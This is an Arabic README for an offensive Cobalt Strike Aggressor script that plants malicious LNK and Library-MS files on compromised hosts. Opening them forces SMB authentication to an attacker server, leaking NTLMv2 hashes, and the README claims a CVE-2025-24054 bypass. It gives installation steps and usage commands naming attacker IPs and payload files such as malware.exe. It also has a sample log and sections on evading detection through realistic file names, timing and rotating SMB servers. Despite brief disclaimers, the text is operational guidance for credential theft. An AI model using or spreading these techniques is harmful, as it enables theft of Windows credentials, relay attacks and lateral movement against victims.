LNK Weaponizer - سكريبت Aggressor لـ Cobalt Strike

سكريبت Aggressor شامل لـ Cobalt Strike يقوم بتسليح وتنفيذ ملفات LNK ضارة وملفات Library-MS للإفصاح عن تجزئة NTLMv2-SSP عبر SMB. يتضمن تقنيات تجاوز CVE-2025-24054.

⚠️ إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية والبحثية فقط. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا الكود. استخدمها فقط على أنظمة تملكها أو لديك إذن صريح لاختبارها.

التقاط تجزئات NTLM

يقوم هذا السكريبت بتوليد ملفات .lnk و .library-ms مسلّحة تؤدي إلى مصادقة SBM تجاه مضيف المُشغّل عند فتحها.
لا تظهر تجزئات NTLMv2 المسربة داخل Cobalt Strike، بل يجب التقاطها بواسطة أدوات خارجية مثل Responder أو Impacket’s ntlmrelayx.py أو Inveigh التي تعمل على نظام المهاجم.
بمجرد جمعها، يمكن كسر التجزئات بـ Hashcat أو إعادة توجيهها لمزيد من الحركة الجانبية.

🎯 الميزات

• تسليح ملفات LNK: إنشاء ملفات اختصار ضارة لالتقاط تجزئة NTLM
• إنشاء ملفات Library-MS: تطبيق تقنية تجاوز CVE-2025-24054
• دمج قائمة النقر اليميني: وصول سهل عبر قائمة السياق لـ Beacon في Cobalt Strike
• واجهة سطر الأوامر: أوامر مباشرة للأتمتة والبرمجة النصية
• حوارات تفاعلية: إدخال معلمات سهل للمستخدم
• نشر سريع: إعدادات مسبقة التهيئة للنشر السريع
• تهيئة عامة: تخصيص سهل للإعدادات الافتراضية

📁 هيكل المشروع

cobalt-strike-aggressor/
├── lnk_weaponizer.cna           # Main Aggressor script (v2.0)
├── standalone_lnk_weaponizer.ps1 # Standalone PowerShell version
├── README.md                    # This documentation
├── INSTALL.md                   # Installation and setup guide
└── examples/
    ├── usage_scenarios.md       # Practical usage examples
    └── sample_targets.csv       # Sample batch operation file

🚀 التثبيت

1. انسخ lnk_weaponizer.cna إلى دليل سكريبتات Aggressor في Cobalt Strike
2. حمّل السكريبت في Cobalt Strike:
   • اذهب إلى Cobalt Strike ← Script Manager
   • انقر Load واختر lnk_weaponizer.cna
3. سيقوم السكريبت بالتهيئة تلقائياً وسيظهر الأوامر المتاحة

📖 الاستخدام

خيارات قائمة النقر اليميني

انقر بزر الماوس الأيمن على أي Beacon في Cobalt Strike للوصول إلى:

1. إنشاء ملف LNK: حوار تفاعلي لإنشاء LNK مخصص
2. إنشاء ملف Library-MS: حوار تفاعلي لإنشاء Library-MS (تجاوز CVE-2025-24054)
3. LNK سريع (الإعدادات الافتراضية): نشر سريع لـ LNK بقيم مضبوطة مسبقاً
4. Library-MS سريع (الإعدادات الافتراضية): نشر سريع لـ Library-MS بقيم مضبوطة مسبقاً

أوامر سطر الأوامر

أوامر ملف LNK

# إنشاء ملف LNK بمعلمات مخصصة
lnk_create <path> <ip> <share> <file>

# مثال
lnk_create C:\Temp 192.168.1.10 share payload.exe

أوامر ملف Library-MS

# إنشاء ملف Library-MS بمعلمات مخصصة
library_create <path> <ip> <share>

# مثال
library_create C:\Temp 10.10.14.22 share

أوامر سريعة

# استخدام الإعدادات الافتراضية
lnk_quick
library_quick

# عرض المساعدة
lnk_help

🔧 التهيئة

الإعدادات الافتراضية

يستخدم السكريبت القيم الافتراضية القابلة للتعديل التالية:

• IP: 192.168.1.10
• Share: share
• Path: C:\Temp

تخصيص الإعدادات الافتراضية

قم بتعديل المتغيرات العامة في lnk_weaponizer.cna:

global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";

🎯 كيف يعمل

تقنية ملف LNK

1. توليد سكريبت PowerShell: ينشئ سكريبت PowerShell يقوم بتوليد ملف LNK الضار
2. إنشاء ملف LNK: يستخدم كائن COM لـ Windows Shell لإنشاء اختصار يشير إلى موقع SMB بعيد
3. تشغيل الأيقونة: يُجبر Explorer على جلب أيقونة PE من ملف ثنائي بعيد، مما يؤدي إلى مصادقة NTLM
4. التقاط التجزئة: يتم التقاط تجزئة NTLMv2-SSP عندما يتفاعل المستخدم مع الملف

تقنية Library-MS (تجاوز CVE-2025-24054)

1. توليد XML: ينشئ ملف XML لـ Library-MS بمرجع مسار UNC
2. إنشاء الملف: يولد ملف .library-ms في الدليل الهدف
3. تفاعل المستخدم: عندما ينقر المستخدم نقراً مزدوجاً على ملف Library-MS، يحاول Windows الوصول إلى مسار UNC
4. تشغيل المصادقة: يتم تشغيل مصادقة SMB، مما يلتقط تجزئة NTLM

تفاصيل تقنية

كلا التقنيتين تنشئان ملفات:

• تشير إلى مواقع SMB بعيدة
• تؤدي إلى المصادقة عند الوصول إليها
• تتجاوز ضوابط الأمان الشائعة
• توفر التقاطاً موثوقاً للتجزئات

📊 تنسيق الإخراج

يوفر السكريبت تسجيلاً مفصلاً:

[+] إنشاء ملف LNK على TARGET-COMPUTER
[+] UNC الهدف: \\192.168.1.10\share\payload.exe
[+] المسار المحلي: C:\Temp
[+] اكتمل تسليح LNK
[!] انتظر حتى ينقر المستخدم على ملف LNK لالتقاط تجزئة NTLM

🛡️ اعتبارات أمنية

تجنب الاكتشاف

• استخدم أسماء مسارات ومشاركات تبدو شرعية
• ضع في اعتبارك توقيت النشر لتجنب الاكتشاف
• راقب تنبيهات أدوات الأمان
• توفر تقنية Library-MS إخفاءً إضافياً

الأمن التشغيلي

• استخدم خوادم SMB مخصصة لجمع التجزئات
• طبّق تسجيلاً ومراقبة مناسبة
• اتبع إجراءات الفريق الأحمر في مؤسستك
• وثّق جميع أنشطة الاختبار

الامتثال القانوني

• احصل على التفويض المناسب قبل الاختبار
• وثّق جميع أنشطة الاختبار
• احترم النطاق والحدود

🔍 استكشاف الأخطاء وإصلاحها

المشكلات الشائعة

1. لم يتم العثور على Beacon

   • تأكد من وجود Beacon نشط على الكمبيوتر الهدف
   • تحقق من تهجئة اسم الكمبيوتر في العمليات المجمعة

2. رفض الإذن

   • تحقق من صلاحيات الكتابة على المسار الهدف
   • افحص إعدادات UAC على النظام الهدف

3. سياسة تنفيذ PowerShell

   • يستخدم السكريبت bpowershell() للتعامل مع القيود
   • تأكد من توفر PowerShell على الهدف

وضع التصحيح

فعّل الإخراج المفصّل بتعديل السكريبت:

# إضافة تسجيل تصحيح
blog($bid, "[DEBUG] تنفيذ الأمر: " . $command);

📝 أمثلة

السيناريو 1: نشر ملف LNK

# إنشاء ملف LNK على هدف محدد
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe

السيناريو 2: تجاوز Library-MS

# إنشاء ملف Library-MS لتجاوز CVE-2025-24054
library_create C:\Users\Public\Desktop 192.168.1.100 share

السيناريو 3: هجوم سريع

# استخدام الإعدادات الافتراضية للنشر السريع
lnk_quick
library_quick

🔬 تقنيات متقدمة

تجاوز CVE-2025-24054

تطبق تقنية Library-MS تجاوزاً لـ CVE-2025-24054 عبر:

• استخدام تنسيق ملف Library-MS بدلاً من ملفات LNK التقليدية
• استغلال نظام مكتبات Windows (Libraries) لتشغيل المصادقة
• توفير قدرات إخفاء إضافية

استراتيجيات الإخفاء

• تسمية الملفات: استخدم أسماء وامتدادات واقعية
• اختيار المسار: انشر في أدلة المستخدم الشائعة
• التوقيت: نفذ خلال ساعات العمل العادية
• التدوير: نوّع عناوين IP لخوادم SMB وأسماء المشاركات

🤝 المساهمة

1. انسخ المستودع (Fork)
2. أنشئ فرع ميزة
3. أجرِ تغييراتك
4. اختبر بدقة
5. قدّم طلب سحب (Pull Request)

📄 الرخصة

هذا المشروع مقدم بحالته لأغراض تعليمية. استخدمه بمسؤولية ووفقاً للقوانين واللوائح المعمول بها.

🙏 شكر وتقدير

• فريق Cobalt Strike لإطار Aggressor
• مجتمع الفرق الحمراء للاختبار والتغذية الراجعة
• باحثو الأمن الذين سبقوا في الهجمات القائمة على LNK
• المساهمون في أبحاث CVE-2025-24054

تذكير: احرص دائماً على الحصول على التفويض المناسب قبل الاختبار على أي نظام.